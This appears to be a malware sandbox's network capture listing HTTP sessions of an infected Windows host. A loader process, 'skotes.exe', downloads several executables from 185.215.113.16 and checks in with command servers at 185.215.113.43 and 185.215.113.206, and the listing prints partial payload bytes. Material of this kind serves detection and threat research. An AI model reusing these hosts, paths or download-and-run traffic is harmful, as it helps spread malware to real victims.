Oct 30, 2024 05:24:27.050307989 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 05:24:27.480571985 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:24:27 GMT Content-Type: application/octet-stream Content-Length: 1883648 Last-Modified: Wed, 30 Oct 2024 04:13:06 GMT Connection: keep-alive ETag: "6721b252-1cbe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 90 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@J @WkrJqJ @.rsrc@.idata @ *@jqddeztg0@hzelrcyvJ@.taggant0J"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49991	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:05.477665901 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 05:25:06.385257959 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49992	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:07.911746979 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 30, 2024 05:25:08.833972931 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 32 35 33 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 35 33 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 32 35 33 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 35 33 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1002535001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1002536001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1002537001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1002538001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49993	185.215.113.16	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:08.885822058 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 05:25:09.795100927 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:09 GMT Content-Type: application/octet-stream Content-Length: 2994688 Last-Modified: Wed, 30 Oct 2024 04:12:46 GMT Connection: keep-alive ETag: "6721b23e-2db200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 30 00 00 04 00 00 c9 55 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@0U.@Th@ ~@.rsrc@@.idata @opmmjkup+*@dvfrhkft0-@.taggant00"-@
Oct 30, 2024 05:25:09.795114040 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:09.795165062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:09.795175076 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:09.795219898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:09.795275927 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:09.795288086 CET	1236	IN	Data Raw: a7 8a a8 0e e8 50 e0 ae 5f b5 cf 49 0f 23 b3 ce 9c b1 17 5a 6f 80 43 b3 13 42 c3 be 7e 07 d7 3d b6 60 53 42 24 28 75 43 94 8e 88 43 64 8e 95 2c 09 5e 97 11 90 63 b1 ac 8d bb d6 da f9 e7 c7 9d da a8 5a 7b d5 3e 94 fd 82 3f df 05 fb 60 8c 53 58 ff Data Ascii: P_I#ZoCB~=`SB$(uCCd,^cZ{>?`SXGy_F%wJ ,623j8J@!t(J'U*vaN%3#18,Q G4C:H3+r -p=cY5J1 <?sm^Tb}8(Jl `0E(g
Oct 30, 2024 05:25:09.795300961 CET	636	IN	Data Raw: cc 4f 64 f6 4d e4 73 63 db f9 12 4b 36 6b bc 4f 90 f0 05 44 de 4b cd 00 37 85 12 ac 0f 91 24 a9 df 9a 36 86 90 f5 b7 3a 33 f3 b2 07 2d 30 11 46 01 e6 91 49 82 e9 86 36 32 41 9e fe de 3a ff e1 7b 30 3d 2d 17 cf c9 2c b5 10 35 82 dd a0 97 d4 4e 95 Data Ascii: OdMscK6kODK7$6:3-0FI62A:{0=-,5NQ5l+-5)k>W&?Z(C:96v3%C*$)}}wffK2"uZ/NJl^iO#f>n1#Wxdp62t7pg?r=r!e2"o0[
Oct 30, 2024 05:25:09.795372963 CET	1236	IN	Data Raw: 87 33 59 ae 65 33 2e 9f 91 f7 9b 69 33 c0 89 84 bf 93 0e 0c 42 b7 b6 9c 33 20 99 28 88 b8 99 e7 f7 a6 5b 5f d4 69 6a a6 a3 f8 0b 74 3d 44 02 69 de 6a e9 15 c9 31 0c 28 ce 40 76 04 6f c4 6e 13 b0 e1 13 7c ff 0f 04 6b 83 ea c8 78 38 ae a7 54 fe 78 Data Ascii: 3Ye3.i3B3 ([_ijt=Dij1(@von\|kx8Tx'`B:URp^j6G#Rq0rUdp$,G20cz[oRFZ7H~'cBH~wvK.s~T41LoW_E,%1T%3}x+1^^&xg${
Oct 30, 2024 05:25:09.795433998 CET	1236	IN	Data Raw: 66 a0 73 5c df 1e b0 b4 0b 23 18 98 fc 4a 86 28 42 3e be 68 59 3f 24 2d 50 31 67 ac 07 87 ae 46 43 58 4b d9 35 03 0e cf 7d c6 ab df 22 c9 3b 30 34 60 91 b9 da 3c e7 02 a1 f7 b4 91 05 12 1d b1 f7 6f 3a 2e 86 2c a9 66 25 2b 7f 18 21 8f f1 1e 82 2f Data Ascii: fs\#J(B>hY?$-P1gFCXK5}";04`<o:.,f%+!/nX<wxC-/d6J!P7v&f_D4gnR>)f7}>l7(-lmq%Y%_bsV^ie$piC%B="9EZ1G&iv1hF+'<#beB[
Oct 30, 2024 05:25:09.800544024 CET	1236	IN	Data Raw: 76 f4 0c 7c 8a c2 04 47 dc 4e b8 7e bb 6c 84 53 34 e6 f6 0a 35 4e b6 79 31 7e 35 50 2c 52 bc bc 85 d0 62 71 98 fe 2b 3c 40 31 5c 38 f9 a2 5c 4d 05 de 6c 70 67 39 d7 ea 94 37 6b 71 e0 33 41 30 1d 6c ff 92 16 19 6a c2 fd 43 46 69 ff 4e 9b ce 30 27 Data Ascii: v\|GN~lS45Ny1~5P,Rbq+<@1\8\Mlpg97kq3A0ljCFiN0'v'01':#0 !.5.:vv0? sNi5a}b9N{ov.a`26Fl2.6qf7D X/1F.2(-#:B!QR`$zp3z#!?SnT'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49996	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:18.799052954 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 35 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002535001&unit=246122658369
Oct 30, 2024 05:25:19.747680902 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49997	185.215.113.16	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:19.757953882 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 05:25:20.673609972 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:20 GMT Content-Type: application/octet-stream Content-Length: 2145792 Last-Modified: Wed, 30 Oct 2024 04:12:59 GMT Connection: keep-alive ETag: "6721b24b-20be00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 00 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 73 00 00 04 00 00 de 66 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,s@0sf!@P.d. p.v@.rsrc .@.idata .@ @*.@xpxnzipxX@atgrbfaqr @.taggant0s" @
Oct 30, 2024 05:25:20.673636913 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:20.673648119 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:20.673659086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:20.673670053 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:20.673744917 CET	1236	IN	Data Raw: 11 1e ad c6 5d 95 d1 fd df de f2 4d a8 18 d1 1e bb ca f1 c7 e4 a8 8b 40 95 87 75 1a 21 7a fb 56 e8 48 b3 2b 5f fb 51 f1 31 95 e8 0e 0e cf 4d 28 68 bb da 87 ad 90 d6 c7 2e 73 73 e5 ec 9a fb cf 0d 4d 8f 7d e2 e3 0f a1 4a fe 2b 48 a5 4e 98 99 0d 1b Data Ascii: ]M@u!zVH+_Q1M(h.ssM}J+HN2?ro'.3]G4'H{z[pS=8@ia_2B5g;N("`QAEF""""""""'M[_SNF$+
Oct 30, 2024 05:25:20.673754930 CET	1236	IN	Data Raw: 67 7d 25 c9 db 23 9e 32 cb a2 05 5a 44 8b 85 5f 41 ff 10 8a 0b 8f 48 32 d4 57 94 41 fb bd 28 80 33 cf 49 de d4 68 3b c5 49 96 f8 b6 63 97 37 2b a8 a6 2b 7a d4 4d 14 fa 07 72 2f 3b d8 d3 41 39 0b 41 50 29 fd d3 09 a9 9d e0 45 c6 8a e5 fe bd f6 0e Data Ascii: g}%#2ZD_AH2WA(3Ih;Ic7++zMr/;A9AP)EmILS:./wuOEyhO&ZYRr_R\|;Fr@[K+-GMCN)lz=>/B]Q&\|.&=NZ>hMVUGz"\|?%)p!Ft5n
Oct 30, 2024 05:25:20.673763990 CET	1236	IN	Data Raw: ae 71 cd 17 a3 5f 06 ad 69 ac 0f 3f 0b 5b 06 78 9f 70 29 aa bb 00 f4 e6 d3 8a fd 65 6b 30 92 a6 5b 6f 25 99 dc 0f f6 7f 69 59 e1 07 d6 03 72 31 57 71 de 10 1b 51 db 31 35 f2 f8 30 43 04 cd be 63 36 86 61 53 51 06 ca e3 a4 09 c6 07 57 14 1e c9 9b Data Ascii: q_i?[xp)ek0[o%iYr1WqQ150Cc6aSQW1<r0c-/SoLa"/}IKJoL$M~u"fQyXkw1o~j,ki6~"eqQ!O1\|n101;OH{B#xg,_u
Oct 30, 2024 05:25:20.673774004 CET	672	IN	Data Raw: eb 17 78 78 1f 43 c4 a2 94 8a 65 42 c6 15 d2 6d ca 80 12 02 ec 8a 8d 7e 9d 22 85 64 01 6d ce 08 e4 61 d6 78 dc 1a 8a 63 84 6d db 40 f5 8a d5 11 47 39 76 3e 14 45 eb 30 ab 82 f8 35 7f 0f 46 2b 58 52 06 f0 e3 9d fe c5 ac 2b ab c0 73 8a fd c5 6b c6 Data Ascii: xxCeBm~"dmaxcm@G9v>E05F+XR+skDQU/bf#OTHOqxSiYq&3QcN1~"Qdf]je1u-U'2_v.!q*o+Q2>{Gcxp9QX^r)[=mX)(7m
Oct 30, 2024 05:25:20.673791885 CET	1236	IN	Data Raw: c2 83 2b 31 0f 82 80 36 87 4f 13 2e 95 d0 f1 30 a3 71 27 11 8f 9a ce 44 31 0f 07 4e 15 2e e6 f1 cd 61 6d ba 6f 8a 7d 18 a7 6a 09 0c 77 7b 4d 31 b5 fb cc 06 62 f7 0b 54 83 0f 07 92 15 89 e6 35 01 19 d6 f9 dc 51 b5 17 f4 1b 72 63 cf c3 cb f1 e6 19 Data Ascii: +16O.0q'D1N.amo}jw{M1bT5QrcC]"SB*`\eW^Zr)XTr))of8waokIlu1~!kKY&Aek~RQY)Iui~ !I1.A>eL{e3s
Oct 30, 2024 05:25:20.679249048 CET	1236	IN	Data Raw: 69 43 d9 7e d8 0b be b9 dc 43 f5 c3 69 71 31 64 ab 6d 51 7a dc 0b 72 7b c0 82 55 66 0f 88 20 1a dc 51 c9 17 97 fd 91 58 58 ab 77 31 eb 56 7e 77 2d 13 35 31 03 a9 3a 28 f7 0f 07 20 c5 8b 46 1b 5f 23 06 19 bb 82 fe fe 57 62 5f ba b5 8a 79 29 3b d1 Data Ascii: iC~Ciq1dmQzr{Uf QXXw1V~w-51:( F_#Wb_y);j[:5^7W.4Ar(_+1$6?H.1-x[qJ-11HQ\|RkFPFicT?CCi=`tq;#P>8@)?[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50003	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:28.705528021 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 35 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002536001&unit=246122658369
Oct 30, 2024 05:25:29.586177111 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50005	185.215.113.206	80	6196	C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:29.288188934 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 05:25:30.191700935 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 05:25:30.198915958 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 30 45 38 39 38 41 35 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="hwid"3D0E898A519D1524750037------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="build"tale------HJDHCFCBGIDGHJJKJJDG--
Oct 30, 2024 05:25:30.483789921 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50006	185.215.113.16	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:29.616499901 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 05:25:30.514393091 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:30 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Wed, 30 Oct 2024 03:11:49 GMT Connection: keep-alive ETag: "6721a3f5-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ed a3 21 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL!g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
